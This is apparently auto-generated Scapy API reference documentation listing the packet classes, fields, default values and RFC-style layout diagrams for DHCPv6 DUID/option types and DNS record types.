class scapy.layers.dhcp6.DUID_LL(_pkt, /, *, type=3, hwtype=1, lladdr='00:00:00:00:00:00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L284-L288]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |             HWTYPE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LLADDR                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. DUID_LL                           


DUID_LL fields






	type

	ShortEnumField

	3



	hwtype

	XShortEnumField

	1



	lladdr

	_LLAddrField

	'00:00:00:00:00:00'















	
class scapy.layers.dhcp6.DUID_LLT(_pkt, /, *, type=1, hwtype=1, timeval=0, lladdr='00:00:00:00:00:00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L269-L274]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |             HWTYPE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            TIMEVAL                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LLADDR                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. DUID_LLT                           


DUID_LLT fields






	type

	ShortEnumField

	1



	hwtype

	XShortEnumField

	1



	timeval

	_UTCTimeField

	0



	lladdr

	_LLAddrField

	'00:00:00:00:00:00'















	
class scapy.layers.dhcp6.DUID_UUID(_pkt, /, *, type=4, uuid=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L291-L294]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              UUID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. DUID_UUID                          


DUID_UUID fields






	type

	ShortEnumField

	4



	uuid

	UUIDField

	None















	
class scapy.layers.dhcp6.USER_CLASS_DATA(_pkt, /, *, len=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L627-L634]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. USER_CLASS_DATA                       


USER_CLASS_DATA fields






	len

	FieldLenField

	None



	data

	StrLenField

	b''











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L633-L634]

	








	
class scapy.layers.dhcp6.VENDOR_CLASS_DATA(_pkt, /, *, len=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L652-L653]

	Bases: USER_CLASS_DATA


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. VENDOR_CLASS_DATA                      


VENDOR_CLASS_DATA fields






	len

	FieldLenField

	None



	data

	StrLenField

	b''















	
class scapy.layers.dhcp6.VENDOR_SPECIFIC_OPTION(_pkt, /, *, optcode=None, optlen=None, optdata=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L669-L677]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTDATA            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. VENDOR_SPECIFIC_OPTION                    


VENDOR_SPECIFIC_OPTION fields






	optcode

	ShortField

	None



	optlen

	FieldLenField

	None



	optdata

	StrLenField

	b''











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L676-L677]

	








	
scapy.layers.dhcp6.get_cls(name, fallback_cls)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L43-L44]

	






            

          

      

      

    

  

    
      
          
            
  
scapy.layers.dns

DNS: Domain Name System.


	
class scapy.layers.dns.ClientSubnetv4(name: str, default: bytes, length_from: Callable[[Packet], int] | None = None, max_length: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L503-L549]

	Bases: StrLenField


	
af_default = b'\xc0'

	




	
af_familly = 2

	




	
af_length = 32

	




	
getfield(pkt: Packet, s: bytes) → Tuple[bytes, I][source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L508-L512]

	




	
i2len(pkt: Packet, x: Any) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L541-L549]

	




	
i2m(pkt: Packet | None, x: str | Net | None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L531-L539]

	




	
m2i(pkt: Packet | None, x: bytes) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L514-L520]

	








	
class scapy.layers.dns.ClientSubnetv6(name: str, default: bytes, length_from: Callable[[Packet], int] | None = None, max_length: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L552-L555]

	Bases: ClientSubnetv4


	
af_default = b' '

	




	
af_familly = 10

	




	
af_length = 128

	








	
class scapy.layers.dns.DNS(_pkt, /, *, length=None, id=0, qr=0, opcode=0, aa=0, tc=0, rd=1, ra=0, z=0, ad=0, cd=0, rcode=0, qdcount=None, ancount=None, nscount=None, arcount=None, qd=[<DNSQR  |>], an=[], ns=[], ar=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L1194-L1279]

	Bases: DNSCompressedPacket


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L1230-L1234]

	




	
compress()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L1255-L1257]

	Return the compressed DNS packet (using dns_compress())






	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             LENGTH            |               ID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Q| OPCODE|A|T|R|R|Z|A|C| RCODE |            QDCOUNT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ANCOUNT            |            NSCOUNT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ARCOUNT            |               QD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               AN              |               NS              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               AR              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. DNS                             


DNS fields






	length

	ShortField (Cond)

	None



	id

	ShortField

	0



	qr

	BitField  (1 bit)

	0



	opcode

	BitEnumField

	0



	aa

	BitField  (1 bit)

	0



	tc

	BitField  (1 bit)

	0



	rd

	BitField  (1 bit)

	1



	ra

	BitField  (1 bit)

	0



	z

	BitField  (1 bit)

	0



	ad

	BitField  (1 bit)

	0



	cd

	BitField  (1 bit)

	0



	rcode

	BitEnumField

	0



	qdcount

	FieldLenField

	None



	ancount

	FieldLenField

	None



	nscount

	FieldLenField

	None



	arcount

	FieldLenField

	None



	qd

	_DNSPacketListField

	[<DNSQR  |>]



	an

	_DNSPacketListField

	[]



	ns

	_DNSPacketListField

	[]



	ar

	_DNSPacketListField

	[]











	
get_full()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L1223-L1228]

	




	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L1236-L1248]

	




	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L1250-L1253]

	




	
pre_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L1259-L1279]

	Check that a valid DNS over TCP message can be decoded










	
class scapy.layers.dns.DNSCompressedPacket(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L311-L317]

	Bases: Packet

Class to mark that a packet contains DNSStrField and supports compression


	
aliastypes

	




	
abstract get_full()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L315-L317]

	








	
class scapy.layers.dns.DNSQR(_pkt, /, *, qname=b'www.example.com.', qtype=1, qclass=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L1147-L1155]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L1154-L1155]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             QNAME             |             QTYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             QCLASS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. DNSQR                            


DNSQR fields






	qname

	DNSStrField

	b'www.example.com.'



	qtype

	ShortEnumField

	1



	qclass

	ShortEnumField

	1











	
show_indent = 0

	








	
class scapy.layers.dns.DNSRR(_pkt, /, *, rrname=b'.', type=1, rclass=1, ttl=0, rdlen=None, rdata=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L1090-L1120]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L1119-L1120]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RRNAME            |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RCLASS            |              TTL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             RDLEN             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RDATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. DNSRR                            


DNSRR fields






	rrname

	DNSStrField

	b'.'



	type

	ShortEnumField

	1



	rclass

	ShortEnumField

	1



	ttl

	IntField

	0



	rdlen

	FieldLenField

	None



	rdata

	MultipleTypeField (IPField, IP6Field, DNSStrField, DNSTextField, StrLenField)

	b''











	
show_indent = 0

	








	
class scapy.layers.dns.DNSRRDLV(_pkt, /, *, rrname=b'.', type=43, rclass=1, ttl=0, rdlen=None, keytag=0, algorithm=5, digesttype=5, digest=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L876-L882]

	Bases: DNSRRDS


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RRNAME            |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RCLASS            |              TTL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             RDLEN             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             KEYTAG            |   ALGORITHM   |   DIGESTTYPE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             DIGEST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. DNSRRDLV                           


DNSRRDLV fields






	rrname

	DNSStrField

	b'.'



	type

	ShortEnumField

	43



	rclass

	ShortEnumField

	1



	ttl

	IntField

	0



	rdlen

	ShortField

	None



	keytag

	ShortField

	0



	algorithm

	ByteEnumField

	5



	digesttype

	ByteEnumField

	5



	digest

	StrField

	b''















	
class scapy.layers.dns.DNSRRDNSKEY(_pkt, /, *, rrname=b'.', type=48, rclass=1, ttl=0, rdlen=None, flags=<Flag 256 (Z)>, protocol=3, algorithm=5, publickey=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L845-L858]

	Bases: _DNSRRdummy


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RRNAME            |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RCLASS            |              TTL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             RDLEN             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FLAGS             |    PROTOCOL   |   ALGORITHM   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           PUBLICKEY           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. DNSRRDNSKEY                         


DNSRRDNSKEY fields






	rrname

	DNSStrField

	b'.'



	type

	ShortEnumField

	48



	rclass

	ShortEnumField

	1



	ttl

	IntField

	0



	rdlen

	ShortField

	None



	flags

	FlagsField

	<Flag 256 (Z)>



	protocol

	ByteField

	3



	algorithm

	ByteEnumField

	5



	publickey

	StrField

	b''















	
class scapy.layers.dns.DNSRRDS(_pkt, /, *, rrname=b'.', type=43, rclass=1, ttl=0, rdlen=None, keytag=0, algorithm=5, digesttype=5, digest=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L861-L872]

	Bases: _DNSRRdummy


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RRNAME            |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RCLASS            |              TTL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             RDLEN             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             KEYTAG            |   ALGORITHM   |   DIGESTTYPE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             DIGEST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. DNSRRDS                           


DNSRRDS fields






	rrname

	DNSStrField

	b'.'



	type

	ShortEnumField

	43



	rclass

	ShortEnumField

	1



	ttl

	IntField

	0



	rdlen

	ShortField

	None



	keytag

	ShortField

	0



	algorithm

	ByteEnumField

	5



	digesttype

	ByteEnumField

	5



	digest

	StrField

	b''















	
class scapy.layers.dns.DNSRRHINFO(_pkt, /, *, rrname=b'.', type=13, rclass=1, ttl=0, rdlen=None, cpulen=None, cpu=b'', oslen=None, os=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L772-L782]

	Bases: _DNSRRdummy


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RRNAME            |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RCLASS            |              TTL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             RDLEN             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     CPULEN    |              CPU              |     OSLEN     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               OS              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. DNSRRHINFO                          


DNSRRHINFO fields






	rrname

	DNSStrField

	b'.'



	type

	ShortEnumField

	13



	rclass

	ShortEnumField

	1



	ttl

	IntField

	0



	rdlen

	ShortField

	None



	cpulen

	FieldLenField

	None



	cpu

	StrLenField

	b''



	oslen

	FieldLenField

	None



	os

	StrLenField

	b''















	
class scapy.layers.dns.DNSRRHTTPS(_pkt, /, *, rrname=b'.', type=65, rclass=1, ttl=0, rdlen=None, svc_priority=0, target_name=b'.', svc_params=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L986-L990]

	Bases: _DNSRRdummy


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RRNAME            |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RCLASS            |              TTL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             RDLEN             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          SVC PRIORITY         |          TARGET NAME          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SVC PARAMS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. DNSRRHTTPS                          


DNSRRHTTPS fields






	rrname

	DNSStrField

	b'.'



	type

	ShortEnumField

	65



	rclass

	ShortEnumField

	1



	ttl

	IntField

	0



	rdlen

	ShortField

	None



	svc_priority

	ShortField

	0



	target_name

	DNSStrField

	b'.'



	svc_params

	PacketListField

	[]















	
class scapy.layers.dns.DNSRRMX(_pkt, /, *, rrname=b'.', type=15, rclass=1, ttl=0, rdlen=None, preference=0, exchange=b'.')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L785-L794]

	Bases: _DNSRRdummy


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RRNAME            |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RCLASS            |              TTL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             RDLEN             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           PREFERENCE          |            EXCHANGE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. DNSRRMX                           


DNSRRMX fields






	rrname

	DNSStrField

	b'.'



	type

	ShortEnumField

	15



	rclass

	ShortEnumField

	1



	ttl

	IntField

	0



	rdlen

	ShortField

	None



	preference

	ShortField

	0



	exchange

	DNSStrField

	b'.'















	
class scapy.layers.dns.DNSRRNSEC(_pkt, /, *, rrname=b'.', type=47, rclass=1, ttl=0, rdlen=None, nextname=b'.', typebitmaps=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L833-L842]

	Bases: _DNSRRdummy


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RRNAME            |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RCLASS            |              TTL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             RDLEN             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            NEXTNAME           |          TYPEBITMAPS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. DNSRRNSEC                          


DNSRRNSEC fields






	rrname

	DNSStrField

	b'.'



	type

	ShortEnumField

	47



	rclass

	ShortEnumField

	1



	ttl

	IntField

	0



	rdlen

	ShortField

	None



	nextname

	DNSStrField

	b'.'



	typebitmaps

	RRlistField

	b''















	
class scapy.layers.dns.DNSRRNSEC3(_pkt, /, *, rrname=b'.', type=50, rclass=1, ttl=0, rdlen=None, hashalg=0, flags=0, iterations=0, saltlength=0, salt=b'', hashlength=0, nexthashedownername=b'', typebitmaps=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L887-L902]

	Bases: _DNSRRdummy


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RRNAME            |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RCLASS            |              TTL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             RDLEN             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    HASHALG    |     FLAGS     |           ITERATIONS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   SALTLENGTH  |              SALT             |   HASHLENGTH  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      NEXTHASHEDOWNERNAME      |          TYPEBITMAPS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. DNSRRNSEC3                          


DNSRRNSEC3 fields






	rrname

	DNSStrField

	b'.'



	type

	ShortEnumField

	50



	rclass

	ShortEnumField

	1



	ttl

	IntField

	0



	rdlen

	ShortField

	None



	hashalg

	ByteField

	0



	flags

	BitEnumField

	0



	iterations

	ShortField

	0



	saltlength

	FieldLenField

	0



	salt

	StrLenField

	b''



	hashlength

	FieldLenField

	0



	nexthashedownername

	StrLenField

	b''



	typebitmaps

	RRlistField

	b''















	
class scapy.layers.dns.DNSRRNSEC3PARAM(_pkt, /, *, rrname=b'.', type=51, rclass=1, ttl=0, rdlen=None, hashalg=0, flags=0, iterations=0, saltlength=0, salt=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dns.py#L905-L917]

	Bases: _DNSRRdummy


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RRNAME            |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RCLASS            |              TTL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             RDLEN             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    HASHALG    |     FLAGS     |           ITERATIONS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   SALTLENGTH  |              SALT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. DNSRRNSEC3PARAM                       


DNSRRNSEC3PARAM fields






	rrname

	DNSStrField

	b'.'



	type

	ShortEnumField

	51



	rclass

	ShortEnumField

	1



	ttl

	IntField

	0



	rdlen

	ShortField

	None



	hashalg

	ByteField

	0



	flags

	ByteField

	0



	iterations

	ShortField

	0



	saltlength

	FieldLenField

	0



	salt

	StrLenField

	b''















	
